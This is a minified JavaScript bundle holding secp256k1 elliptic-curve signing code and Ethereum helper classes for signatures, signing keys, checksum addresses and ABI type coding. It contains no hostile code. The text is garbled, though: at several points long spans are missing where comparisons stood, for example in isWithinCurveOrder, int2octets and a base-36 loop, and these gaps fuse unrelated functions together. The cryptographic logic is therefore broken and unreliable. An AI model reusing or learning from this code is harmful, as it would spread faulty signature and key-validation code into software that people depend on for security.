rl=h(rhl);return`30${h(rhl+shl+4)}02${rl}${r}02${sl}${s}`}};const _0n=BigInt(0),_1n$1=BigInt(1);BigInt(2);const _3n=BigInt(3);BigInt(4);function weierstrassPoints(opts){const CURVE=validatePointOpts(opts);const{Fp}=CURVE;const toBytes=CURVE.toBytes||((_c,point,_isCompressed)=>{const a=point.toAffine();return concatBytes(Uint8Array.from([4]),Fp.toBytes(a.x),Fp.toBytes(a.y))});const fromBytes=CURVE.fromBytes||(bytes=>{const tail=bytes.subarray(1);const x=Fp.fromBytes(tail.subarray(0,Fp.BYTES));const y=Fp.fromBytes(tail.subarray(Fp.BYTES,2*Fp.BYTES));return{x:x,y:y}});function weierstrassEquation(x){const{a,b}=CURVE;const x2=Fp.sqr(x);const x3=Fp.mul(x2,x);return Fp.add(Fp.add(x3,Fp.mul(x,a)),b)}if(!Fp.eql(Fp.sqr(CURVE.Gy),weierstrassEquation(CURVE.Gx)))throw new Error("bad generator point: equation left != right");function isWithinCurveOrder(num){return typeof num==="bigint"&&_0nFp.eql(i,Fp.ZERO);if(is0(x)&&is0(y))return Point.ZERO;return new Point(x,y,Fp.ONE)}get x(){return this.toAffine().x}get y(){return this.toAffine().y}static normalizeZ(points){const toInv=Fp.invertBatch(points.map(p=>p.pz));return points.map((p,i)=>p.toAffine(toInv[i])).map(Point.fromAffine)}static fromHex(hex){const P=Point.fromAffine(fromBytes(ensureBytes("pointHex",hex)));P.assertValidity();return P}static fromPrivateKey(privateKey){return Point.BASE.multiply(normPrivateKeyToScalar(privateKey))}_setWindowSize(windowSize){this._WINDOW_SIZE=windowSize;pointPrecomputes.delete(this)}assertValidity(){if(this.is0()){if(CURVE.allowInfinityPoint&&!Fp.is0(this.py))return;throw new Error("bad point: ZERO")}const{x,y}=this.toAffine();if(!Fp.isValid(x)||!Fp.isValid(y))throw new Error("bad point: x or y not FE");const left=Fp.sqr(y);const right=weierstrassEquation(x);if(!Fp.eql(left,right))throw new Error("bad point: equation left != right");if(!this.isTorsionFree())throw new Error("bad point: not in prime-order subgroup")}hasEvenY(){const{y}=this.toAffine();if(Fp.isOdd)return!Fp.isOdd(y);throw new Error("Field doesn't support isOdd")}equals(other){assertPrjPoint(other);const{px:X1,py:Y1,pz:Z1}=this;const{px:X2,py:Y2,pz:Z2}=other;const U1=Fp.eql(Fp.mul(X1,Z2),Fp.mul(X2,Z1));const U2=Fp.eql(Fp.mul(Y1,Z2),Fp.mul(Y2,Z1));return U1&&U2}negate(){return new Point(this.px,Fp.neg(this.py),this.pz)}double(){const{a,b}=CURVE;const b3=Fp.mul(b,_3n);const{px:X1,py:Y1,pz:Z1}=this;let X3=Fp.ZERO,Y3=Fp.ZERO,Z3=Fp.ZERO;let t0=Fp.mul(X1,X1);let t1=Fp.mul(Y1,Y1);let t2=Fp.mul(Z1,Z1);let t3=Fp.mul(X1,Y1);t3=Fp.add(t3,t3);Z3=Fp.mul(X1,Z1);Z3=Fp.add(Z3,Z3);X3=Fp.mul(a,Z3);Y3=Fp.mul(b3,t2);Y3=Fp.add(X3,Y3);X3=Fp.sub(t1,Y3);Y3=Fp.add(t1,Y3);Y3=Fp.mul(X3,Y3);X3=Fp.mul(t3,X3);Z3=Fp.mul(b3,Z3);t2=Fp.mul(a,t2);t3=Fp.sub(t0,t2);t3=Fp.mul(a,t3);t3=Fp.add(t3,Z3);Z3=Fp.add(t0,t0);t0=Fp.add(Z3,t0);t0=Fp.add(t0,t2);t0=Fp.mul(t0,t3);Y3=Fp.add(Y3,t0);t2=Fp.mul(Y1,Z1);t2=Fp.add(t2,t2);t0=Fp.mul(t2,t3);X3=Fp.sub(X3,t0);Z3=Fp.mul(t2,t1);Z3=Fp.add(Z3,Z3);Z3=Fp.add(Z3,Z3);return new Point(X3,Y3,Z3)}add(other){assertPrjPoint(other);const{px:X1,py:Y1,pz:Z1}=this;const{px:X2,py:Y2,pz:Z2}=other;let X3=Fp.ZERO,Y3=Fp.ZERO,Z3=Fp.ZERO;const a=CURVE.a;const b3=Fp.mul(CURVE.b,_3n);let t0=Fp.mul(X1,X2);let t1=Fp.mul(Y1,Y2);let t2=Fp.mul(Z1,Z2);let t3=Fp.add(X1,Y1);let t4=Fp.add(X2,Y2);t3=Fp.mul(t3,t4);t4=Fp.add(t0,t1);t3=Fp.sub(t3,t4);t4=Fp.add(X1,Z1);let t5=Fp.add(X2,Z2);t4=Fp.mul(t4,t5);t5=Fp.add(t0,t2);t4=Fp.sub(t4,t5);t5=Fp.add(Y1,Z1);X3=Fp.add(Y2,Z2);t5=Fp.mul(t5,X3);X3=Fp.add(t1,t2);t5=Fp.sub(t5,X3);Z3=Fp.mul(a,t4);X3=Fp.mul(b3,t2);Z3=Fp.add(X3,Z3);X3=Fp.sub(t1,Z3);Z3=Fp.add(t1,Z3);Y3=Fp.mul(X3,Z3);t1=Fp.add(t0,t0);t1=Fp.add(t1,t0);t2=Fp.mul(a,t2);t4=Fp.mul(b3,t4);t1=Fp.add(t1,t2);t2=Fp.sub(t0,t2);t2=Fp.mul(a,t2);t4=Fp.add(t4,t2);t0=Fp.mul(t1,t4);Y3=Fp.add(Y3,t0);t0=Fp.mul(t5,t4);X3=Fp.mul(t3,X3);X3=Fp.sub(X3,t0);t0=Fp.mul(t3,t1);Z3=Fp.mul(t5,Z3);Z3=Fp.add(Z3,t0);return new Point(X3,Y3,Z3)}subtract(other){return this.add(other.negate())}is0(){return this.equals(Point.ZERO)}wNAF(n){return wnaf.wNAFCached(this,pointPrecomputes,n,comp=>{const toInv=Fp.invertBatch(comp.map(p=>p.pz));return comp.map((p,i)=>p.toAffine(toInv[i])).map(Point.fromAffine)})}multiplyUnsafe(n){const I=Point.ZERO;if(n===_0n)return I;assertGE(n);if(n===_1n$1)return this;const{endo}=CURVE;if(!endo)return wnaf.unsafeLadder(this,n);let{k1neg,k1,k2neg,k2}=endo.splitScalar(n);let k1p=I;let k2p=I;let d=this;while(k1>_0n||k2>_0n){if(k1&_1n$1)k1p=k1p.add(d);if(k2&_1n$1)k2p=k2p.add(d);d=d.double();k1>>=_1n$1;k2>>=_1n$1}if(k1neg)k1p=k1p.negate();if(k2neg)k2p=k2p.negate();k2p=new Point(Fp.mul(k2p.px,endo.beta),k2p.py,k2p.pz);return k1p.add(k2p)}multiply(scalar){assertGE(scalar);let n=scalar;let point,fake;const{endo}=CURVE;if(endo){const{k1neg,k1,k2neg,k2}=endo.splitScalar(n);let{p:k1p,f:f1p}=this.wNAF(k1);let{p:k2p,f:f2p}=this.wNAF(k2);k1p=wnaf.constTimeNegate(k1neg,k1p);k2p=wnaf.constTimeNegate(k2neg,k2p);k2p=new Point(Fp.mul(k2p.px,endo.beta),k2p.py,k2p.pz);point=k1p.add(k2p);fake=f1p.add(f2p)}else{const{p,f}=this.wNAF(n);point=p;fake=f}return Point.normalizeZ([point,fake])[0]}multiplyAndAddUnsafe(Q,a,b){const G=Point.BASE;const mul=(P,a)=>a===_0n||a===_1n$1||!P.equals(G)?P.multiplyUnsafe(a):P.multiply(a);const sum=mul(this,a).add(mul(Q,b));return sum.is0()?undefined:sum}toAffine(iz){const{px:x,py:y,pz:z}=this;const is0=this.is0();if(iz==null)iz=is0?Fp.ONE:Fp.inv(z);const ax=Fp.mul(x,iz);const ay=Fp.mul(y,iz);const zz=Fp.mul(z,iz);if(is0)return{x:Fp.ZERO,y:Fp.ZERO};if(!Fp.eql(zz,Fp.ONE))throw new Error("invZ was invalid");return{x:ax,y:ay}}isTorsionFree(){const{h:cofactor,isTorsionFree}=CURVE;if(cofactor===_1n$1)return true;if(isTorsionFree)return isTorsionFree(Point,this);throw new Error("isTorsionFree() has not been declared for the elliptic curve")}clearCofactor(){const{h:cofactor,clearCofactor}=CURVE;if(cofactor===_1n$1)return this;if(clearCofactor)return clearCofactor(Point,this);return this.multiplyUnsafe(CURVE.h)}toRawBytes(isCompressed=true){this.assertValidity();return toBytes(Point,this,isCompressed)}toHex(isCompressed=true){return bytesToHex(this.toRawBytes(isCompressed))}}Point.BASE=new Point(CURVE.Gx,CURVE.Gy,Fp.ONE);Point.ZERO=new Point(Fp.ZERO,Fp.ONE,Fp.ZERO);const _bits=CURVE.nBitLength;const wnaf=wNAF(Point,CURVE.endo?Math.ceil(_bits/2):_bits);return{CURVE:CURVE,ProjectivePoint:Point,normPrivateKeyToScalar:normPrivateKeyToScalar,weierstrassEquation:weierstrassEquation,isWithinCurveOrder:isWithinCurveOrder}}function validateOpts(curve){const opts=validateBasic(curve);validateObject(opts,{hash:"hash",hmac:"function",randomBytes:"function"},{bits2int:"function",bits2int_modN:"function",lowS:"boolean"});return Object.freeze({lowS:true,...opts})}function weierstrass(curveDef){const CURVE=validateOpts(curveDef);const{Fp,n:CURVE_ORDER}=CURVE;const compressedLen=Fp.BYTES+1;const uncompressedLen=2*Fp.BYTES+1;function isValidFieldElement(num){return _0nbytesToHex(numberToBytesBE(num,CURVE.nByteLength));function isBiggerThanHalfOrder(number){const HALF=CURVE_ORDER>>_1n$1;return number>HALF}function normalizeS(s){return isBiggerThanHalfOrder(s)?modN(-s):s}const slcNum=(b,from,to)=>bytesToNumberBE(b.slice(from,to));class Signature{constructor(r,s,recovery){this.r=r;this.s=s;this.recovery=recovery;this.assertValidity()}static fromCompact(hex){const l=CURVE.nByteLength;hex=ensureBytes("compactSignature",hex,l*2);return new Signature(slcNum(hex,0,l),slcNum(hex,l,2*l))}static fromDER(hex){const{r,s}=DER.toSig(ensureBytes("DER",hex));return new Signature(r,s)}assertValidity(){if(!isWithinCurveOrder(this.r))throw new Error("r must be 0 < r < CURVE.n");if(!isWithinCurveOrder(this.s))throw new Error("s must be 0 < s < CURVE.n")}addRecoveryBit(recovery){return new Signature(this.r,this.s,recovery)}recoverPublicKey(msgHash){const{r,s,recovery:rec}=this;const h=bits2int_modN(ensureBytes("msgHash",msgHash));if(rec==null||![0,1,2,3].includes(rec))throw new Error("recovery id invalid");const radj=rec===2||rec===3?r+CURVE.n:r;if(radj>=Fp.ORDER)throw new Error("recovery id 2 or 3 invalid");const prefix=(rec&1)===0?"02":"03";const R=Point.fromHex(prefix+numToNByteStr(radj));const ir=invN(radj);const u1=modN(-h*ir);const u2=modN(s*ir);const Q=Point.BASE.multiplyAndAddUnsafe(R,u1,u2);if(!Q)throw new Error("point at infinify");Q.assertValidity();return Q}hasHighS(){return isBiggerThanHalfOrder(this.s)}normalizeS(){return this.hasHighS()?new Signature(this.r,modN(-this.s),this.recovery):this}toDERRawBytes(){return hexToBytes(this.toDERHex())}toDERHex(){return DER.hexFromSig({r:this.r,s:this.s})}toCompactRawBytes(){return hexToBytes(this.toCompactHex())}toCompactHex(){return numToNByteStr(this.r)+numToNByteStr(this.s)}}const utils={isValidPrivateKey(privateKey){try{normPrivateKeyToScalar(privateKey);return true}catch(error){return false}},normPrivateKeyToScalar:normPrivateKeyToScalar,randomPrivateKey:()=>{const length=getMinHashLength(CURVE.n);return mapHashToField(CURVE.randomBytes(length),CURVE.n)},precompute(windowSize=8,point=Point.BASE){point._setWindowSize(windowSize);point.multiply(BigInt(3));return point}};function getPublicKey(privateKey,isCompressed=true){return Point.fromPrivateKey(privateKey).toRawBytes(isCompressed)}function isProbPub(item){const arr=item instanceof Uint8Array;const str=typeof item==="string";const len=(arr||str)&&item.length;if(arr)return len===compressedLen||len===uncompressedLen;if(str)return len===2*compressedLen||len===2*uncompressedLen;if(item instanceof Point)return true;return false}function getSharedSecret(privateA,publicB,isCompressed=true){if(isProbPub(privateA))throw new Error("first arg must be private key");if(!isProbPub(publicB))throw new Error("second arg must be public key");const b=Point.fromHex(publicB);return b.multiply(normPrivateKeyToScalar(privateA)).toRawBytes(isCompressed)}const bits2int=CURVE.bits2int||function(bytes){const num=bytesToNumberBE(bytes);const delta=bytes.length*8-CURVE.nBitLength;return delta>0?num>>BigInt(delta):num};const bits2int_modN=CURVE.bits2int_modN||function(bytes){return modN(bits2int(bytes))};const ORDER_MASK=bitMask(CURVE.nBitLength);function int2octets(num){if(typeof num!=="bigint")throw new Error("bigint expected");if(!(_0n<=num&&numk in opts))throw new Error("sign() legacy options not supported");const{hash,randomBytes}=CURVE;let{lowS,prehash,extraEntropy:ent}=opts;if(lowS==null)lowS=true;msgHash=ensureBytes("msgHash",msgHash);if(prehash)msgHash=ensureBytes("prehashed msgHash",hash(msgHash));const h1int=bits2int_modN(msgHash);const d=normPrivateKeyToScalar(privateKey);const seedArgs=[int2octets(d),int2octets(h1int)];if(ent!=null){const e=ent===true?randomBytes(Fp.BYTES):ent;seedArgs.push(ensureBytes("extraEntropy",e))}const seed=concatBytes(...seedArgs);const m=h1int;function k2sig(kBytes){const k=bits2int(kBytes);if(!isWithinCurveOrder(k))return;const ik=invN(k);const q=Point.BASE.multiply(k).toAffine();const r=modN(q.x);if(r===_0n)return;const s=modN(ik*modN(m+r*d));if(s===_0n)return;let recovery=(q.x===r?0:2)|Number(q.y&_1n$1);let normS=s;if(lowS&&isBiggerThanHalfOrder(s)){normS=normalizeS(s);recovery^=1}return new Signature(r,normS,recovery)}return{seed:seed,k2sig:k2sig}}const defaultSigOpts={lowS:CURVE.lowS,prehash:false};const defaultVerOpts={lowS:CURVE.lowS,prehash:false};function sign(msgHash,privKey,opts=defaultSigOpts){const{seed,k2sig}=prepSig(msgHash,privKey,opts);const C=CURVE;const drbg=createHmacDrbg(C.hash.outputLen,C.nByteLength,C.hmac);return drbg(seed,k2sig)}Point.BASE._setWindowSize(8);function verify(signature,msgHash,publicKey,opts=defaultVerOpts){const sg=signature;msgHash=ensureBytes("msgHash",msgHash);publicKey=ensureBytes("publicKey",publicKey);if("strict"in opts)throw new Error("options.strict was renamed to lowS");const{lowS,prehash}=opts;let _sig=undefined;let P;try{if(typeof sg==="string"||sg instanceof Uint8Array){try{_sig=Signature.fromDER(sg)}catch(derError){if(!(derError instanceof DER.Err))throw derError;_sig=Signature.fromCompact(sg)}}else if(typeof sg==="object"&&typeof sg.r==="bigint"&&typeof sg.s==="bigint"){const{r,s}=sg;_sig=new Signature(r,s)}else{throw new Error("PARSE")}P=Point.fromHex(publicKey)}catch(error){if(error.message==="PARSE")throw new Error(`signature must be Signature instance, Uint8Array or hex string`);return false}if(lowS&&_sig.hasHighS())return false;if(prehash)msgHash=CURVE.hash(msgHash);const{r,s}=_sig;const h=bits2int_modN(msgHash);const is=invN(s);const u1=modN(h*is);const u2=modN(r*is);const R=Point.BASE.multiplyAndAddUnsafe(P,u1,u2)?.toAffine();if(!R)return false;const v=modN(R.x);return v===r}return{CURVE:CURVE,getPublicKey:getPublicKey,getSharedSecret:getSharedSecret,sign:sign,verify:verify,ProjectivePoint:Point,Signature:Signature,utils:utils}}function getHash(hash){return{hash:hash,hmac:(key,...msgs)=>hmac(hash,key,concatBytes$1(...msgs)),randomBytes:randomBytes$2}}function createCurve(curveDef,defHash){const create=hash=>weierstrass({...curveDef,...getHash(hash)});return Object.freeze({...create(defHash),create:create})}const secp256k1P=BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f");const secp256k1N=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");const _1n=BigInt(1);const _2n=BigInt(2);const divNearest=(a,b)=>(a+b/_2n)/b;function sqrtMod(y){const P=secp256k1P;const _3n=BigInt(3),_6n=BigInt(6),_11n=BigInt(11),_22n=BigInt(22);const _23n=BigInt(23),_44n=BigInt(44),_88n=BigInt(88);const b2=y*y*y%P;const b3=b2*b2*y%P;const b6=pow2(b3,_3n,P)*b3%P;const b9=pow2(b6,_3n,P)*b3%P;const b11=pow2(b9,_2n,P)*b2%P;const b22=pow2(b11,_11n,P)*b11%P;const b44=pow2(b22,_22n,P)*b22%P;const b88=pow2(b44,_44n,P)*b44%P;const b176=pow2(b88,_88n,P)*b88%P;const b220=pow2(b176,_44n,P)*b44%P;const b223=pow2(b220,_3n,P)*b3%P;const t1=pow2(b223,_23n,P)*b22%P;const t2=pow2(t1,_6n,P)*b2%P;const root=pow2(t2,_2n,P);if(!Fp.eql(Fp.sqr(root),y))throw new Error("Cannot find square root");return root}const Fp=Field(secp256k1P,undefined,undefined,{sqrt:sqrtMod});const secp256k1=createCurve({a:BigInt(0),b:BigInt(7),Fp:Fp,n:secp256k1N,Gx:BigInt("55066263022277343669578718895168534326250603453777594175500187360389116729240"),Gy:BigInt("32670510020758816978083085130507043184471273380659243275938904335757337482424"),h:BigInt(1),lowS:true,endo:{beta:BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"),splitScalar:k=>{const n=secp256k1N;const a1=BigInt("0x3086d221a7d46bcde86c90e49284eb15");const b1=-_1n*BigInt("0xe4437ed6010e88286f547fa90abfe4c3");const a2=BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8");const b2=a1;const POW_2_128=BigInt("0x100000000000000000000000000000000");const c1=divNearest(b2*k,n);const c2=divNearest(-b1*k,n);let k1=mod(k-c1*a1-c2*a2,n);let k2=mod(-c1*b1-c2*b2,n);const k1neg=k1>POW_2_128;const k2neg=k2>POW_2_128;if(k1neg)k1=n-k1;if(k2neg)k2=n-k2;if(k1>POW_2_128||k2>POW_2_128){throw new Error("splitScalar: Endomorphism failed, k="+k)}return{k1neg:k1neg,k1:k1,k2neg:k2neg,k2:k2}}}},sha256$1);BigInt(0);secp256k1.ProjectivePoint;const ZeroAddress="0x0000000000000000000000000000000000000000";const ZeroHash="0x0000000000000000000000000000000000000000000000000000000000000000";const N$1=BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141");const WeiPerEther=BigInt("1000000000000000000");const MaxUint256=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");const MinInt256=BigInt("0x8000000000000000000000000000000000000000000000000000000000000000")*BigInt(-1);const MaxInt256=BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");const EtherSymbol="Ξ";const MessagePrefix="Ethereum Signed Message:\n";const BN_0$7=BigInt(0);const BN_1$3=BigInt(1);const BN_2$3=BigInt(2);const BN_27$1=BigInt(27);const BN_28$1=BigInt(28);const BN_35$1=BigInt(35);const _guard$3={};function toUint256(value){return zeroPadValue(toBeArray(value),32)}class Signature{#r;#s;#v;#networkV;get r(){return this.#r}set r(value){assertArgument(dataLength(value)===32,"invalid r","value",value);this.#r=hexlify(value)}get s(){assertArgument(parseInt(this.#s.substring(0,3))<8,"non-canonical s; use ._s","s",this.#s);return this.#s}set s(_value){assertArgument(dataLength(_value)===32,"invalid s","value",_value);this.#s=hexlify(_value)}get _s(){return this.#s}isValid(){return parseInt(this.#s.substring(0,3))<8}get v(){return this.#v}set v(value){const v=getNumber(value,"value");assertArgument(v===27||v===28,"invalid v","v",value);this.#v=v}get networkV(){return this.#networkV}get legacyChainId(){const v=this.networkV;if(v==null){return null}return Signature.getChainId(v)}get yParity(){return this.v===27?0:1}get yParityAndS(){const yParityAndS=getBytes(this.s);if(this.yParity){yParityAndS[0]|=128}return hexlify(yParityAndS)}get compactSerialized(){return concat([this.r,this.yParityAndS])}get serialized(){return concat([this.r,this.s,this.yParity?"0x1c":"0x1b"])}constructor(guard,r,s,v){assertPrivate(guard,_guard$3,"Signature");this.#r=r;this.#s=s;this.#v=v;this.#networkV=null}[Symbol.for("nodejs.util.inspect.custom")](){return`Signature { r: "${this.r}", s: "${this._s}"${this.isValid()?"":', valid: "false"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`}clone(){const clone=new Signature(_guard$3,this.r,this._s,this.v);if(this.networkV){clone.#networkV=this.networkV}return clone}toJSON(){const networkV=this.networkV;return{_type:"signature",networkV:networkV!=null?networkV.toString():null,r:this.r,s:this._s,v:this.v}}static getChainId(v){const bv=getBigInt(v,"v");if(bv==BN_27$1||bv==BN_28$1){return BN_0$7}assertArgument(bv>=BN_35$1,"invalid EIP-155 v","v",v);return(bv-BN_35$1)/BN_2$3}static getChainIdV(chainId,v){return getBigInt(chainId)*BN_2$3+BigInt(35+v-27)}static getNormalizedV(v){const bv=getBigInt(v);if(bv===BN_0$7||bv===BN_27$1){return 27}if(bv===BN_1$3||bv===BN_28$1){return 28}assertArgument(bv>=BN_35$1,"invalid v","v",v);return bv&BN_1$3?27:28}static from(sig){function assertError(check,message){assertArgument(check,message,"signature",sig)}if(sig==null){return new Signature(_guard$3,ZeroHash,ZeroHash,27)}if(typeof sig==="string"){const bytes=getBytes(sig,"signature");if(bytes.length===64){const r=hexlify(bytes.slice(0,32));const s=bytes.slice(32,64);const v=s[0]&128?28:27;s[0]&=127;return new Signature(_guard$3,r,hexlify(s),v)}if(bytes.length===65){const r=hexlify(bytes.slice(0,32));const s=hexlify(bytes.slice(32,64));const v=Signature.getNormalizedV(bytes[64]);return new Signature(_guard$3,r,s,v)}assertError(false,"invalid raw signature length")}if(sig instanceof Signature){return sig.clone()}const _r=sig.r;assertError(_r!=null,"missing r");const r=toUint256(_r);const s=function(s,yParityAndS){if(s!=null){return toUint256(s)}if(yParityAndS!=null){assertError(isHexString(yParityAndS,32),"invalid yParityAndS");const bytes=getBytes(yParityAndS);bytes[0]&=127;return hexlify(bytes)}assertError(false,"missing s")}(sig.s,sig.yParityAndS);const{networkV,v}=function(_v,yParityAndS,yParity){if(_v!=null){const v=getBigInt(_v);return{networkV:v>=BN_35$1?v:undefined,v:Signature.getNormalizedV(v)}}if(yParityAndS!=null){assertError(isHexString(yParityAndS,32),"invalid yParityAndS");return{v:getBytes(yParityAndS)[0]&128?28:27}}if(yParity!=null){switch(getNumber(yParity,"sig.yParity")){case 0:return{v:27};case 1:return{v:28}}assertError(false,"invalid yParity")}assertError(false,"missing v")}(sig.v,sig.yParityAndS,sig.yParity);const result=new Signature(_guard$3,r,s,v);if(networkV){result.#networkV=networkV}assertError(sig.yParity==null||getNumber(sig.yParity,"sig.yParity")===result.yParity,"yParity mismatch");assertError(sig.yParityAndS==null||sig.yParityAndS===result.yParityAndS,"yParityAndS mismatch");return result}}class SigningKey{#privateKey;constructor(privateKey){assertArgument(dataLength(privateKey)===32,"invalid private key","privateKey","[REDACTED]");this.#privateKey=hexlify(privateKey)}get privateKey(){return this.#privateKey}get publicKey(){return SigningKey.computePublicKey(this.#privateKey)}get compressedPublicKey(){return SigningKey.computePublicKey(this.#privateKey,true)}sign(digest){assertArgument(dataLength(digest)===32,"invalid digest length","digest",digest);const sig=secp256k1.sign(getBytesCopy(digest),getBytesCopy(this.#privateKey),{lowS:true});return Signature.from({r:toBeHex(sig.r,32),s:toBeHex(sig.s,32),v:sig.recovery?28:27})}computeSharedSecret(other){const pubKey=SigningKey.computePublicKey(other);return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey),getBytes(pubKey),false))}static computePublicKey(key,compressed){let bytes=getBytes(key,"key");if(bytes.length===32){const pubKey=secp256k1.getPublicKey(bytes,!!compressed);return hexlify(pubKey)}if(bytes.length===64){const pub=new Uint8Array(65);pub[0]=4;pub.set(bytes,1);bytes=pub}const point=secp256k1.ProjectivePoint.fromHex(bytes);return hexlify(point.toRawBytes(compressed))}static recoverPublicKey(digest,signature){assertArgument(dataLength(digest)===32,"invalid digest length","digest",digest);const sig=Signature.from(signature);let secpSig=secp256k1.Signature.fromCompact(getBytesCopy(concat([sig.r,sig.s])));secpSig=secpSig.addRecoveryBit(sig.yParity);const pubKey=secpSig.recoverPublicKey(getBytesCopy(digest));assertArgument(pubKey!=null,"invalid signature for digest","signature",signature);return"0x"+pubKey.toHex(false)}static addPoints(p0,p1,compressed){const pub0=secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2));const pub1=secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2));return"0x"+pub0.add(pub1).toHex(!!compressed)}}function lock(){computeHmac.lock();keccak256.lock();pbkdf2.lock();randomBytes.lock();ripemd160.lock();scrypt.lock();scryptSync.lock();sha256.lock();sha512.lock();randomBytes.lock()}const BN_0$6=BigInt(0);const BN_36=BigInt(36);function getChecksumAddress(address){address=address.toLowerCase();const chars=address.substring(2).split("");const expanded=new Uint8Array(40);for(let i=0;i<40;i++){expanded[i]=chars[i].charCodeAt(0)}const hashed=getBytes(keccak256(expanded));for(let i=0;i<40;i+=2){if(hashed[i>>1]>>4>=8){chars[i]=chars[i].toUpperCase()}if((hashed[i>>1]&15)>=8){chars[i+1]=chars[i+1].toUpperCase()}}return"0x"+chars.join("")}const ibanLookup={};for(let i=0;i<10;i++){ibanLookup[String(i)]=String(i)}for(let i=0;i<26;i++){ibanLookup[String.fromCharCode(65+i)]=String(10+i)}const safeDigits=15;function ibanChecksum(address){address=address.toUpperCase();address=address.substring(4)+address.substring(0,2)+"00";let expanded=address.split("").map(c=>{return ibanLookup[c]}).join("");while(expanded.length>=safeDigits){let block=expanded.substring(0,safeDigits);expanded=parseInt(block,10)%97+expanded.substring(block.length)}let checksum=String(98-parseInt(expanded,10)%97);while(checksum.length<2){checksum="0"+checksum}return checksum}const Base36=function(){const result={};for(let i=0;i<36;i++){const key="0123456789abcdefghijklmnopqrstuvwxyz"[i];result[key]=BigInt(i)}return result}();function fromBase36(value){value=value.toLowerCase();let result=BN_0$6;for(let i=0;iv.format()).join(",")})`}return this.type}defaultValue(){return 0}minValue(){return 0}maxValue(){return 0}isBigInt(){return!!this.type.match(/^u?int[0-9]+$/)}isData(){return this.type.startsWith("bytes")}isString(){return this.type==="string"}get tupleName(){if(this.type!=="tuple"){throw TypeError("not a tuple")}return this.#options}get arrayLength(){if(this.type!=="array"){throw TypeError("not an array")}if(this.#options===true){return-1}if(this.#options===false){return this.value.length}return null}static from(type,value){return new Typed(_gaurd,type,value)}static uint8(v){return n(v,8)}static uint16(v){return n(v,16)}static uint24(v){return n(v,24)}static uint32(v){return n(v,32)}static uint40(v){return n(v,40)}static uint48(v){return n(v,48)}static uint56(v){return n(v,56)}static uint64(v){return n(v,64)}static uint72(v){return n(v,72)}static uint80(v){return n(v,80)}static uint88(v){return n(v,88)}static uint96(v){return n(v,96)}static uint104(v){return n(v,104)}static uint112(v){return n(v,112)}static uint120(v){return n(v,120)}static uint128(v){return n(v,128)}static uint136(v){return n(v,136)}static uint144(v){return n(v,144)}static uint152(v){return n(v,152)}static uint160(v){return n(v,160)}static uint168(v){return n(v,168)}static uint176(v){return n(v,176)}static uint184(v){return n(v,184)}static uint192(v){return n(v,192)}static uint200(v){return n(v,200)}static uint208(v){return n(v,208)}static uint216(v){return n(v,216)}static uint224(v){return n(v,224)}static uint232(v){return n(v,232)}static uint240(v){return n(v,240)}static uint248(v){return n(v,248)}static uint256(v){return n(v,256)}static uint(v){return n(v,256)}static int8(v){return n(v,-8)}static int16(v){return n(v,-16)}static int24(v){return n(v,-24)}static int32(v){return n(v,-32)}static int40(v){return n(v,-40)}static int48(v){return n(v,-48)}static int56(v){return n(v,-56)}static int64(v){return n(v,-64)}static int72(v){return n(v,-72)}static int80(v){return n(v,-80)}static int88(v){return n(v,-88)}static int96(v){return n(v,-96)}static int104(v){return n(v,-104)}static int112(v){return n(v,-112)}static int120(v){return n(v,-120)}static int128(v){return n(v,-128)}static int136(v){return n(v,-136)}static int144(v){return n(v,-144)}static int152(v){return n(v,-152)}static int160(v){return n(v,-160)}static int168(v){return n(v,-168)}static int176(v){return n(v,-176)}static int184(v){return n(v,-184)}static int192(v){return n(v,-192)}static int200(v){return n(v,-200)}static int208(v){return n(v,-208)}static int216(v){return n(v,-216)}static int224(v){return n(v,-224)}static int232(v){return n(v,-232)}static int240(v){return n(v,-240)}static int248(v){return n(v,-248)}static int256(v){return n(v,-256)}static int(v){return n(v,-256)}static bytes1(v){return b(v,1)}static bytes2(v){return b(v,2)}static bytes3(v){return b(v,3)}static bytes4(v){return b(v,4)}static bytes5(v){return b(v,5)}static bytes6(v){return b(v,6)}static bytes7(v){return b(v,7)}static bytes8(v){return b(v,8)}static bytes9(v){return b(v,9)}static bytes10(v){return b(v,10)}static bytes11(v){return b(v,11)}static bytes12(v){return b(v,12)}static bytes13(v){return b(v,13)}static bytes14(v){return b(v,14)}static bytes15(v){return b(v,15)}static bytes16(v){return b(v,16)}static bytes17(v){return b(v,17)}static bytes18(v){return b(v,18)}static bytes19(v){return b(v,19)}static bytes20(v){return b(v,20)}static bytes21(v){return b(v,21)}static bytes22(v){return b(v,22)}static bytes23(v){return b(v,23)}static bytes24(v){return b(v,24)}static bytes25(v){return b(v,25)}static bytes26(v){return b(v,26)}static bytes27(v){return b(v,27)}static bytes28(v){return b(v,28)}static bytes29(v){return b(v,29)}static bytes30(v){return b(v,30)}static bytes31(v){return b(v,31)}static bytes32(v){return b(v,32)}static address(v){return new Typed(_gaurd,"address",v)}static bool(v){return new Typed(_gaurd,"bool",!!v)}static bytes(v){return new Typed(_gaurd,"bytes",v)}static string(v){return new Typed(_gaurd,"string",v)}static array(v,dynamic){throw new Error("not implemented yet")}static tuple(v,name){throw new Error("not implemented yet")}static overrides(v){return new Typed(_gaurd,"overrides",Object.assign({},v))}static isTyped(value){return value&&typeof value==="object"&&"_typedSymbol"in value&&value._typedSymbol===_typedSymbol}static dereference(value,type){if(Typed.isTyped(value)){if(value.type!==type){throw new Error(`invalid type: expecetd ${type}, got ${value.type}`)}return value.value}return value}}class AddressCoder extends Coder{constructor(localName){super("address","address",localName,false)}defaultValue(){return"0x0000000000000000000000000000000000000000"}encode(writer,_value){let value=Typed.dereference(_value,"string");try{value=getAddress(value)}catch(error){return this._throwError(error.message,_value)}return writer.writeValue(value)}decode(reader){return getAddress(toBeHex(reader.readValue(),20))}}class AnonymousCoder extends Coder{coder;constructor(coder){super(coder.name,coder.type,"_",coder.dynamic);this.coder=coder}defaultValue(){return 